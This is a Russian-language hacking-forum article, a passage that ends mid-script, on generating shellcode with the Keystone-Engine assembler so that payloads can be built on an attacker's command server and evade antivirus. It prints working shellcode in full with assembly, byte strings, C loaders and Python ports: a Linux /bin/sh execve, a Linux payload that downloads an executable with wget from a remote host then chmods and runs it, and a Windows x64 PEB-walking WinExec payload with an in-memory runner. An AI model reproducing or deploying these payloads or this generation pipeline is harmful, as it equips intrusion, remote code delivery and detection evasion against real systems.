• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Шелл-код на заказ. Используем транслятор Keystone-Engine для генерации шелл-кода.

weaver

31 c0 bb ea 1b e6 77 66 b8 88 13 50 ff d3
Забанен
Регистрация
19.12.2018
Сообщения
3 301
Решения
11
Реакции
4 622
Депозит
0.0001
Пожалуйста, обратите внимание, что пользователь заблокирован

ИNTR0​


В сети лежит огромное количество готовых к использованию вариаций шелл-кода. В том числе инструментов, которые могут генерировать нужный шелл-код под конкретную архитектуру. Какие-то инструменты хуже, какие-то лучше, так или иначе шелл-код является одним из ключевых элементом современных многоступенчатых атак. Вот только не все хак-группы уделяют должное внимание подготовке шелл-кода. А зря... Это связано с тем, что шелл-код нужно каждый раз пересобирать, обфусцировать, шифровать и добавлять каждый раз трюки анти-эмуляции, чтобы не один авер, не один мент не начал гавкать на твой козырной шелл-код. Вот только не все хотят этим заморачиваться, поэтому многие прибегают к социальной инженерии (СИ), убеждая ушастого юзверя отключить АВ, перейти по ссылке, открыть документ, выполнить скрипт, скачать установить и так далее... Безусловно СИ - мощная и нужная вещь, вот только полагаться исключительно на СИ, не самая лучшая тактика. Более практичный и стабильный подход, это когда все элементы многоступенчатой атаки отлажены и автоматизированы. В этой статье, как раз таки и пойдет речь об этой самой автоматизации в контексте генерации шелл-кода. В частности я расскажу как используя динамическую кодогенерацию можно транслировать ассемблерные инструкции в байт-код на лету, для создания боевых нагрузок и их генерации на стороне управляющего сервера. Изложенный подход в статье позволяет уйти от статики и перейти к динамике, тем самым адаптируя генерацию шелл-кода под нужный таргет и архитектуру. Способ далеко не новый, но он используется во всех "современных" хакерских инструментах.

Знакомство с Keystone-Engine​


Keystone Engine — это мультиархитектурный, кроссплатформенный ассемблерный фреймворк с открытым исходным кодом. На базе которого можно строить свои собственные инструменты для реверс-инжинеринга и не только...

Проект живет по адресу

https://github.com/keystone-engine/keystone/

И у него даже есть свой собственный сайт! Правда документация на сайте скудная, хоть авторы этого детища и говорят, что у него интуитивный понятный API интерфейс...

https://www.keystone-engine.org/

Собственно давайте знакомиться с этим монстром. Устанавливаем keystone-engine. Создаем папку проекта и виртуальное окружение, далее ставим уже сам pip пакет.

Код:
mkdir shellcoding
cd shellcoding
python -m venv libs_env
libs_env\Scripts\activate
pip install keystone-engin

Берем example пример с сайта и запускаем его, чтобы убедиться, что всё работает.

Python:
from keystone import *

# separate assembly instructions by ; or \n
CODE = b"INC ecx; DEC edx"

try:
    # Initialize engine in X86-32bit mode
    ks = Ks(KS_ARCH_X86, KS_MODE_32)
    encoding, count = ks.asm(CODE)
    print("%s = %s (number of statements: %u)" %(CODE, encoding, count))
except KsError as e:
    print("ERROR: %s" %e)

Результат работы скрипта будет следующим.

1751143738424.png


Полученные числа: [65, 74] это опкоды ассемблерных инструкций, представленные в десятичной системе счисления. А вот число 2 в строке "number of statements" это количество ассемблерных инструкций, которые подсчитываются с помощью разделения инструкций, посредством точкой с запятой (;) или же символом новой строки (\n), при чем отсчет всегда идет с единицы. Подсчитывать инструкции мы не будем, это нам особо не интересно, а вот что касается опкодов, то десятичное представление, не то, что нам нужно, поэтому немного изменем код, чтобы байты отображались в привычном для нас представление т.е. шестнадцатеричной системе счисления. Так же нам нужно чтобы они выглядели подобно шелл-коду "\xFF\xFF\xFF".

Для этого пройдемся циклом for по списку encoding, преобразовав каждое значение из списка используя формат 02х, а перед каждым элементом будем добавлять последовательность символов \x и затем все элементы из списка объединим в одну строку c помощью метода join().

Python:
hex_str = "".join(f"\\x{opcode:02x}" for opcode in encoding)
print("bytecode:", f'"{hex_str}"')

Результат работы изменённого скрипта.

1751143785191.png


Видим, что ассемблерные инструкции оттранслировались теперь как положено сразу в байт-код "\x41\x4a". Однако стоит помнить, что это всё же библиотека (фреймворк), а не компилятор и есть небольшая доля вероятности получить неправильные опкоды ассемблерных инструкций. Поэтому следует всегда проверять полученный результат с ожидаемым. Теперь возьмём шелл-код написанный на ассемблере и оттранслируем его аналогичным способом в байт-код.

Для наших тестов возьмём исходники разных шелл-кодов, предназначенных для разных архитектур: x86, x64, ARM, ARM64 и посмотрим как с этим справится Keystone-Engine, точней говоря мы посмотрим на сам процесс портирования. Но прежде, чем мы приступим, стоит заглянуть вот в этот sample файл.

https://github.com/keystone-engine/keystone/blob/master/samples/sample.c

В нём перечислены различные архитектуры и режимы под конкретный ассемблерный код. Этот файл некоего рода шпаргалка. Ведь когда мы собираемся ассемблировать определенный код, мы прописываем архитектуру и режим. Ранее мы прописывали в коде следующие параметры: KS_ARCH_X86 и KS_MODE_32, которые указывают Keystone-Engine, что мы будем работать с x86 архитектурой и 32-битными регистрами. Соответственно для x64 параметры будет KS_ARCH_X86, KS_MODE_64, а для ARM это будет KS_ARCH_ARM, KS_MODE_ARM итд.

C:
    // X86
    test_ks(KS_ARCH_X86, KS_MODE_16, "add eax, ecx", 0);
    test_ks(KS_ARCH_X86, KS_MODE_32, "add eax, ecx", 0);
    test_ks(KS_ARCH_X86, KS_MODE_64, "add rax, rcx", 0);
    test_ks(KS_ARCH_X86, KS_MODE_32, "add %ecx, %eax", KS_OPT_SYNTAX_ATT);
    test_ks(KS_ARCH_X86, KS_MODE_64, "add %rcx, %rax", KS_OPT_SYNTAX_ATT);

    test_ks(KS_ARCH_X86, KS_MODE_32, "add eax, 0x15", 0);
    test_ks(KS_ARCH_X86, KS_MODE_32, "add eax, 15h", 0);
    test_ks(KS_ARCH_X86, KS_MODE_32, "add eax, 15", 0);

    // RADIX16 syntax Intel (default syntax)
    test_ks(KS_ARCH_X86, KS_MODE_32, "add eax, 15", KS_OPT_SYNTAX_RADIX16);
    // RADIX16 syntax for AT&T
    test_ks(KS_ARCH_X86, KS_MODE_32, "add $15, %eax", KS_OPT_SYNTAX_RADIX16 | KS_OPT_SYNTAX_ATT);

    // ARM
    test_ks(KS_ARCH_ARM, KS_MODE_ARM, "sub r1, r2, r5", 0);
    test_ks(KS_ARCH_ARM, KS_MODE_ARM + KS_MODE_BIG_ENDIAN, "sub r1, r2, r5", 0);
    test_ks(KS_ARCH_ARM, KS_MODE_THUMB, "movs r4, #0xf0", 0);
    test_ks(KS_ARCH_ARM, KS_MODE_THUMB + KS_MODE_BIG_ENDIAN, "movs r4, #0xf0", 0);

    // ARM64
    test_ks(KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN, "ldr w1, [sp, #0x8]", 0);

    // Hexagon
    test_ks(KS_ARCH_HEXAGON, KS_MODE_BIG_ENDIAN, "v23.w=vavg(v11.w,v2.w):rnd", 0);

    // Mips
    test_ks(KS_ARCH_MIPS, KS_MODE_MIPS32, "and $9, $6, $7", 0);
    test_ks(KS_ARCH_MIPS, KS_MODE_MIPS32 + KS_MODE_BIG_ENDIAN, "and $9, $6, $7", 0);
    test_ks(KS_ARCH_MIPS, KS_MODE_MIPS64, "and $9, $6, $7", 0);
    test_ks(KS_ARCH_MIPS, KS_MODE_MIPS64 + KS_MODE_BIG_ENDIAN, "and $9, $6, $7", 0);

    // PowerPC
    test_ks(KS_ARCH_PPC, KS_MODE_PPC32 + KS_MODE_BIG_ENDIAN, "add 1, 2, 3", 0);
    test_ks(KS_ARCH_PPC, KS_MODE_PPC64, "add 1, 2, 3", 0);
    test_ks(KS_ARCH_PPC, KS_MODE_PPC64 + KS_MODE_BIG_ENDIAN, "add 1, 2, 3", 0);
    // RISCV
 
    test_ks(KS_ARCH_RISCV, KS_MODE_RISCV32 + KS_MODE_LITTLE_ENDIAN, "addi x0, x0, 10", 0);
    test_ks(KS_ARCH_RISCV, KS_MODE_RISCV64 + KS_MODE_LITTLE_ENDIAN, "addiw x0, x0, 10", 0);
 
    // Sparc
    test_ks(KS_ARCH_SPARC, KS_MODE_SPARC32 + KS_MODE_LITTLE_ENDIAN, "add %g1, %g2, %g3", 0);
    test_ks(KS_ARCH_SPARC, KS_MODE_SPARC32 + KS_MODE_BIG_ENDIAN, "add %g1, %g2, %g3", 0);
 
    // SystemZ
    test_ks(KS_ARCH_SYSTEMZ, KS_MODE_BIG_ENDIAN, "a %r0, 4095(%r15,%r1)", 0);

Все эти архитектуры и режимы прописаны в заголовочном файле keystone.h

https://github.com/keystone-engine/keystone/blob/master/include/keystone/keystone.h

Вот список архитектур

C:
// Architecture type
typedef enum ks_arch {
    KS_ARCH_ARM = 1,    // ARM architecture (including Thumb, Thumb-2)
    KS_ARCH_ARM64,      // ARM-64, also called AArch64
    KS_ARCH_MIPS,       // Mips architecture
    KS_ARCH_X86,        // X86 architecture (including x86 & x86-64)
    KS_ARCH_PPC,        // PowerPC architecture (currently unsupported)
    KS_ARCH_SPARC,      // Sparc architecture
    KS_ARCH_SYSTEMZ,    // SystemZ architecture (S390X)
    KS_ARCH_HEXAGON,    // Hexagon architecture
    KS_ARCH_EVM,        // Ethereum Virtual Machine architecture
    KS_ARCH_RISCV,      // RISC-V architecture
    KS_ARCH_MAX,
} ks_arch;

а вот список режимов

C:
// Mode type
typedef enum ks_mode {
    KS_MODE_LITTLE_ENDIAN = 0,    // little-endian mode (default mode)
    KS_MODE_BIG_ENDIAN = 1 << 30, // big-endian mode
    // arm / arm64
    KS_MODE_ARM = 1 << 0,         // ARM mode
    KS_MODE_THUMB = 1 << 4,       // THUMB mode (including Thumb-2)
    KS_MODE_V8 = 1 << 6,          // ARMv8 A32 encodings for ARM
    // mips
    KS_MODE_MICRO = 1 << 4,       // MicroMips mode
    KS_MODE_MIPS3 = 1 << 5,       // Mips III ISA
    KS_MODE_MIPS32R6 = 1 << 6,    // Mips32r6 ISA
    KS_MODE_MIPS32 = 1 << 2,      // Mips32 ISA
    KS_MODE_MIPS64 = 1 << 3,      // Mips64 ISA
    // x86 / x64
    KS_MODE_16 = 1 << 1,          // 16-bit mode
    KS_MODE_32 = 1 << 2,          // 32-bit mode
    KS_MODE_64 = 1 << 3,          // 64-bit mode
    // ppc
    KS_MODE_PPC32 = 1 << 2,       // 32-bit mode
    KS_MODE_PPC64 = 1 << 3,       // 64-bit mode
    KS_MODE_QPX = 1 << 4,         // Quad Processing eXtensions mode
        //riscv
    KS_MODE_RISCV32 = 1 << 2,     // 32-bit mode
    KS_MODE_RISCV64 = 1 << 3,     // 64-bit mode
    // sparc
    KS_MODE_SPARC32 = 1 << 2,     // 32-bit mode
    KS_MODE_SPARC64 = 1 << 3,     // 64-bit mode
    KS_MODE_V9 = 1 << 4,          // SparcV9 mode
} ks_mode;


Так же в этом файле есть список асм синтаксисов поддерживаемых keystone-engine, но они реализованы не в полной мере...

C:
// Runtime option value (associated with ks_opt_type above)
typedef enum ks_opt_value {
    KS_OPT_SYNTAX_INTEL =   1 << 0, // X86 Intel syntax - default on X86 (KS_OPT_SYNTAX).
    KS_OPT_SYNTAX_ATT   =   1 << 1, // X86 ATT asm syntax (KS_OPT_SYNTAX).
    KS_OPT_SYNTAX_NASM  =   1 << 2, // X86 Nasm syntax (KS_OPT_SYNTAX).
    KS_OPT_SYNTAX_MASM  =   1 << 3, // X86 Masm syntax (KS_OPT_SYNTAX) - unsupported yet.
    KS_OPT_SYNTAX_GAS   =   1 << 4, // X86 GNU GAS syntax (KS_OPT_SYNTAX).
    KS_OPT_SYNTAX_RADIX16 = 1 << 5, // All immediates are in hex format (i.e 12 is 0x12)
} ks_opt_value;

Трансляция ассемблерного кода​


1751143945161.png


Прежде чем мы приступи к портированию первого шелл-кода, дам небольшой совет для тех кто не работал с keystone-engine. При переносе ассемблерных листингов в keystone лучше не спешить и переносить код не целиком, а построчно, так будет понятно где ошибка и на какой ассемблерной инструкции keystone выдает ошибку. Такой подход позволит вам не только обнаружить неподдерживаемые инструкции, но и в случае "успешной" трансляции инструкций в опкоды, вы сможете заметить неправильное их числовое отображение.

x86​

Перенесем следующий шелл-код в keystone.

Linux/x86 - execve /bin/sh shellcode - 23 bytes by Hamza Megahed

Так же добавим оригинальный шелл-код и сравним его с нашим байт-кодом.

C:
   /*****************************************************
    *    Linux/x86 execve /bin/sh shellcode 23 bytes    *
    *****************************************************
    *            Author: Hamza Megahed                *
    *****************************************************
    *             Twitter: @Hamza_Mega                  *
    *****************************************************
    *     blog: hamza-mega[dot]blogspot[dot]com         *
    *****************************************************
    *   E-mail: hamza[dot]megahed[at]gmail[dot]com      *
    *****************************************************

xor    %eax,%eax
push   %eax
push   $0x68732f2f
push   $0x6e69622f
mov    %esp,%ebx
push   %eax
push   %ebx
mov    %esp,%ecx
mov    $0xb,%al
int    $0x80

********************************/
#include <stdio.h>
#include <string.h>
 
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
          "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}

После переноса ассемблерного листинга, скрипт будет выглядить следующим образом.

Python:
from keystone import *

SHELLCODE_SRC = (

    "xor    %eax,%eax   ;"
    "push   %eax        ;"
    "push   $0x68732f2f ;"
    "push   $0x6e69622f ;"
    "mov    %esp,%ebx   ;"
    "push   %eax        ;"
    "push   %ebx        ;"
    "mov    %esp,%ecx   ;"
    "mov    $0xb,%al    ;"
    "int    $0x80       ;"
)


original_sc = r"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

try:
    ks = Ks(KS_ARCH_X86, KS_MODE_32)
    ks.syntax = KS_OPT_SYNTAX_ATT
    encoding, count = ks.asm(SHELLCODE_SRC)
 
    hex_str = "".join(f"\\x{opcode:02x}" for opcode in encoding)
    print("bytecode:", f'"{hex_str}"')
    print("original:", f'"{original_sc}"');
    print(original_sc == hex_str)
except KsError as e:
    print("ERROR: %s" %e)

Так же обратите внимание, что мы не стали менять синтаксис ассемблера AT&T на синтаксис Intel, а перенесли шелл-код в том виде, в котором он был изначально. Для этого мы просто прописали после инициализации класса Ks, следующую строку кода ks.syntax = KS_OPT_SYNTAX_ATT указав keystone-engine, что асм листинг будет в формате AT&T.

Ну, а после запуска скрипта результат будет таким.

1751144091281.png


Видим, что результат идентичен. Байт-код одинаковый. Но этот шелл-код довольно таки маленький, поэтому аналогичным способом можно перенести шелл-код который будет большего размера.

Например этот

Linux/x86 - Download + chmod + exec - 108 bytes by Daniel Sauder

C:
/*
; Filename: downloadexec.nasm
; Author: Daniel Sauder
; Website: http://govolution.wordpress.com/
; Tested on: Ubuntu 12.04 / 32Bit
; License: http://creativecommons.org/licenses/by-sa/3.0/

; Shellcode:
; - download 192.168.2.222/x with wget
; - chmod x
; - execute x
; - x is an executable
; - length 108 bytes

global _start

section .text

_start:

    ;fork
    xor eax,eax
    mov al,0x2
    int 0x80
    xor ebx,ebx
    cmp eax,ebx
    jz child
 
    ;wait(NULL)
    xor eax,eax
    mov al,0x7
    int 0x80
   
    ;chmod x
    xor ecx,ecx
    xor eax, eax
    push eax
    mov al, 0xf
    push 0x78
    mov ebx, esp
    xor ecx, ecx
    mov cx, 0x1ff
    int 0x80
 
    ;exec x
    xor eax, eax
    push eax
    push 0x78
    mov ebx, esp
    push eax
    mov edx, esp
    push ebx
    mov ecx, esp
    mov al, 11
    int 0x80
 
child:
    ;download 192.168.2.222//x with wget
    push 0xb
    pop eax
    cdq
    push edx
 
    push 0x782f2f32 ;2//x avoid null byte
    push 0x32322e32 ;22.2
    push 0x2e383631 ;.861
    push 0x2e323931 ;.291
    mov ecx,esp
    push edx
 
    push 0x74 ;t
    push 0x6567772f ;egw/
    push 0x6e69622f ;nib/
    push 0x7273752f ;rsu/
    mov ebx,esp
    push edx
    push ecx
    push ebx
    mov ecx,esp
    int 0x80
 
*/

#include <stdio.h>
#include <string.h>

unsigned char code[] = \
"\x31\xc0\xb0\x02\xcd\x80\x31\xdb\x39\xd8\x74\x2a\x31\xc0\xb0\x07\xcd\x80\x31\xc9\x31\xc0\x50\xb0\x0f\x6a\x78\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x31\xc0\x50\x6a\x78\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x6a\x0b\x58\x99\x52\x68\x32\x2f\x2f\x78\x68\x32\x2e\x32\x32\x68\x31\x36\x38\x2e\x68\x31\x39\x32\x2e\x89\xe1\x52\x6a\x74\x68\x2f\x77\x67\x65\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";

main()
{
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

Переносим...

Python:
from keystone import *

SHELLCODE_SRC = (

    "start:          ;"

    # fork
    "xor eax,eax     ;"
    "mov al,0x2      ;"
    "int 0x80        ;"
    "xor ebx,ebx     ;"
    "cmp eax,ebx     ;"
    "jz child        ;"

    # wait(NULL)
    "xor eax,eax     ;"
    "mov al,0x7      ;"
    "int 0x80        ;"

    # chmod x
    "xor ecx,ecx     ;"
    "xor eax, eax    ;"
    "push eax        ;"
    "mov al, 0xf     ;"
    "push 0x78       ;"
    "mov ebx, esp    ;"
    "xor ecx, ecx    ;"
    "mov cx, 0x1ff   ;"
    "int 0x80        ;"

    # exec x
    "xor eax, eax    ;"
    "push eax        ;"
    "push 0x78       ;"
    "mov ebx, esp    ;"
    "push eax        ;"
    "mov edx, esp    ;"
    "push ebx        ;"
    "mov ecx, esp    ;"
    "mov al, 11      ;"
    "int 0x80        ;"

    "child:          ;"
    # download 192.168.2.222//x with wget
    "push 0xb        ;"
    "pop eax         ;"
    "cdq             ;"
    "push edx        ;"

    "push 0x782f2f32 ;" # 2//x avoid null byte
    "push 0x32322e32 ;" # 22.2
    "push 0x2e383631 ;" # .861
    "push 0x2e323931 ;" # .291
    "mov ecx,esp     ;"
    "push edx        ;"

    "push 0x74       ;" # t
    "push 0x6567772f ;" # egw/
    "push 0x6e69622f ;" # nib/
    "push 0x7273752f ;" # rsu/
    "mov ebx,esp     ;"
    "push edx        ;"
    "push ecx        ;"
    "push ebx        ;"
    "mov ecx,esp     ;"
    "int 0x80        ;"
)


original_sc = r"\x31\xc0\xb0\x02\xcd\x80\x31\xdb\x39\xd8\x74\x2a\x31\xc0\xb0\x07\xcd\x80\x31\xc9\x31\xc0\x50\xb0\x0f\x6a\x78\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x31\xc0\x50\x6a\x78\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x6a\x0b\x58\x99\x52\x68\x32\x2f\x2f\x78\x68\x32\x2e\x32\x32\x68\x31\x36\x38\x2e\x68\x31\x39\x32\x2e\x89\xe1\x52\x6a\x74\x68\x2f\x77\x67\x65\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"



try:
    ks = Ks(KS_ARCH_X86, KS_MODE_32)
    encoding, count = ks.asm(SHELLCODE_SRC)
 
    hex_str = "".join(f"\\x{opcode:02x}" for opcode in encoding)
    print("bytecode:", f'"{hex_str}"')
    print("\n")
    print("original:", f'"{original_sc}"');
    print(original_sc == hex_str)
except KsError as e:
    print("ERROR: %s" %e)


В этом примере стоит обратить внимание на метки: start, child. Первую метку "start:" в принципе можно игнорировать и не обязательно её писать (точка входа будет одна и таже - т.е. с первой строчки кода), но для "визуального удобства" мы её включили в код. А вот что касается второй метки она обязательна, так, как мы совершаем переход с помощью инструкции JZ к другому участку кода, который начинается с метки child. Кстати говоря о метках и разделениях инструкций, после того как мы заключилю метку в двойные кавычки "metka: " не обязательно внутри ставить точку с запятой.

Вот результат работы скрипта

1751144180033.png


x64​


Windows/x64 - Dynamic Null-Free WinExec PopCalc Shellcode (205 Bytes)

C:
/*
# Shellcode Title: Windows/x64 - Dynamic Null-Free WinExec PopCalc Shellcode (205 Bytes)
# Shellcode Author: Bobby Cooke (boku)
# Date: 02/05/2021
# Tested on:  Windows 10 v2004 (x64)
# Shellcode Description:
# 64bit Windows 10 shellcode that dynamically resolves the base address of kernel32.dll via PEB & ExportTable method.
# Contains no Null bytes (0x00), and therefor will not crash if injected into typical stack Buffer OverFlow vulnerabilities.
# Grew tired of Windows Defender alerts from MSF code when developing, so built this as a template for development of advanced payloads.

; Compile & get shellcode from Kali:
;   nasm -f win64 popcalc.asm -o popcalc.o
;   for i in $(objdump -D popcalc.o | grep "^ " | cut -f2); do echo -n "\x$i" ; done
; Get kernel32.dll base address
xor rdi, rdi            ; RDI = 0x0
mul rdi                 ; RAX&RDX =0x0
mov rbx, gs:[rax+0x60]  ; RBX = Address_of_PEB
mov rbx, [rbx+0x18]     ; RBX = Address_of_LDR
mov rbx, [rbx+0x20]     ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
mov rbx, [rbx]          ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
mov rbx, [rbx]          ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
mov rbx, [rbx+0x20]     ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
mov r8, rbx             ; RBX & R8 = &kernel32.dll

; Get kernel32.dll ExportTable Address
mov ebx, [rbx+0x3C]     ; RBX = Offset NewEXEHeader
add rbx, r8             ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
xor rcx, rcx            ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
add cx, 0x88ff
shr rcx, 0x8            ; RCX = 0x88ff --> 0x88
mov edx, [rbx+rcx]      ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
add rdx, r8             ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable

; Get &AddressTable from Kernel32.dll ExportTable
xor r10, r10
mov r10d, [rdx+0x1C]    ; RDI = RVA AddressTable
add r10, r8             ; R10 = &AddressTable

; Get &NamePointerTable from Kernel32.dll ExportTable
xor r11, r11
mov r11d, [rdx+0x20]    ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
add r11, r8             ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)

; Get &OrdinalTable from Kernel32.dll ExportTable
xor r12, r12
mov r12d, [rdx+0x24]    ; R12 = RVA  OrdinalTable
add r12, r8             ; R12 = &OrdinalTable

jmp short apis

; Get the address of the API from the Kernel32.dll ExportTable
getapiaddr:
pop rbx                 ; save the return address for ret 2 caller after API address is found
pop rcx                 ; Get the string length counter from stack
xor rax, rax            ; Setup Counter for resolving the API Address after finding the name string
mov rdx, rsp            ; RDX = Address of API Name String to match on the Stack
push rcx                ; push the string length counter to stack
loop:
mov rcx, [rsp]          ; reset the string length counter from the stack
xor rdi,rdi             ; Clear RDI for setting up string name retrieval
mov edi, [r11+rax*4]    ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
add rdi, r8             ; RDI = &NameString    = RVA NameString + &kernel32.dll
mov rsi, rdx            ; RSI = Address of API Name String to match on the Stack  (reset to start of string)
repe cmpsb              ; Compare strings at RDI & RSI
je resolveaddr          ; If match then we found the API string. Now we need to find the Address of the API
incloop:
inc rax
jmp short loop

; Find the address of GetProcAddress by using the last value of the Counter
resolveaddr:
pop rcx                 ; remove string length counter from top of stack
mov ax, [r12+rax*2]     ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
mov eax, [r10+rax*4]    ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
add rax, r8             ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
push rbx                ; place the return address from the api string call back on the top of the stack
ret                     ; return to API caller

apis:                   ; API Names to resolve addresses
; WinExec | String length : 7
xor rcx, rcx
add cl, 0x7                 ; String length for compare string
mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec
not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
shr rax, 0x8                ; xEcoll,0xFFFF --> 0x0000,xEcoll
push rax
push rcx                    ; push the string length counter to stack
call getapiaddr             ; Get the address of the API from Kernel32.dll ExportTable
mov r14, rax                ; R14 = Kernel32.WinExec Address

; UINT WinExec(
;   LPCSTR lpCmdLine,    => RCX = "calc.exe",0x0
;   UINT   uCmdShow      => RDX = 0x1 = SW_SHOWNORMAL
; );
xor rcx, rcx
mul rcx                     ; RAX & RDX & RCX = 0x0
; calc.exe | String length : 8
push rax                    ; Null terminate string on stack
mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"
not rax
;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163
push rax                    ; RSP = "calc.exe",0x0
mov rcx, rsp                ; RCX = "calc.exe",0x0
inc rdx                     ; RDX = 0x1 = SW_SHOWNORMAL
sub rsp, 0x20               ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
call r14                    ; Call WinExec("calc.exe", SW_HIDE)


###########################################################################################################################################

// runShellcode.c
// C Shellcode Run Code referenced from reenz0h (twitter: @sektor7net)

*/
#include <windows.h>
void main() {
  void* exec;
  BOOL rv;
  HANDLE th;
  DWORD oldprotect = 0;
  // Shellcode
  unsigned char payload[] =
    "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
    "\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
    "\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
    "\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
    "\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
    "\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
    "\x48\x83\xec\x20\x41\xff\xd6";
  unsigned int payload_len = 205;
  exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  RtlMoveMemory(exec, payload, payload_len);
  rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
  th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
  WaitForSingleObject(th, -1);
}

Переносим... так же не забываем заменить KS_MODE_32 на KS_MODE_64, чтобы указать Keystone-Engine, что мы работает с 64 битными регистрами.

Python:
from keystone import *

SHELLCODE_SRC = (

    # Get kernel32.dll base address
    "xor rdi, rdi                 ;"  # RDI = 0x0
    "mul rdi                      ;"  # RAX&RDX =0x0
    "mov rbx, gs:[rax+0x60]       ;"  # RBX = Address_of_PEB
    "mov rbx, [rbx+0x18]          ;"  # RBX = Address_of_LDR
    "mov rbx, [rbx+0x20]          ;"  # RBX = 1st entry in InitOrderModuleList / ntdll.dll
    "mov rbx, [rbx]               ;"  # RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
    "mov rbx, [rbx]               ;"  # RBX = 3rd entry in InitOrderModuleList / kernel32.dll
    "mov rbx, [rbx+0x20]          ;"  # RBX = &kernel32.dll ( Base Address of kernel32.dll)
    "mov r8, rbx                  ;"  # RBX & R8 = &kernel32.dll

    # Get kernel32.dll ExportTable Address
    "mov ebx, [rbx+0x3C]          ;"  # RBX = Offset NewEXEHeader
    "add rbx, r8                  ;"  # RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
    "xor rcx, rcx                 ;"  # Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
    "add cx, 0x88ff               ;"
    "shr rcx, 0x8                 ;"  # RCX = 0x88ff --> 0x88
    "mov edx, [rbx+rcx]           ;"  # EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
    "add rdx, r8                  ;"  # RDX = &kernel32.dll + RVA ExportTable = &ExportTable

    # Get &AddressTable from Kernel32.dll ExportTable
    "xor r10, r10                 ;"
    "mov r10d, [rdx+0x1C]         ;"  # RDI = RVA AddressTable
    "add r10, r8                  ;"  # R10 = &AddressTable

    # Get &NamePointerTable from Kernel32.dll ExportTable
    "xor r11, r11                 ;"
    "mov r11d, [rdx+0x20]         ;"  # R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
    "add r11, r8                  ;"  # R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)

    # Get &OrdinalTable from Kernel32.dll ExportTable
    "xor r12, r12                 ;"
    "mov r12d, [rdx+0x24]         ;"  # R12 = RVA  OrdinalTable
    "add r12, r8                  ;"  # R12 = &OrdinalTable

    "jmp apis                     ;"

    # Get the address of the API from the Kernel32.dll ExportTable
    "getapiaddr:                  ;"
    "pop rbx                      ;"  # save the return address for ret 2 caller after API address is found
    "pop rcx                      ;"  # Get the string length counter from stack
    "xor rax, rax                 ;"  # Setup Counter for resolving the API Address after finding the name string
    "mov rdx, rsp                 ;"  # RDX = Address of API Name String to match on the Stack
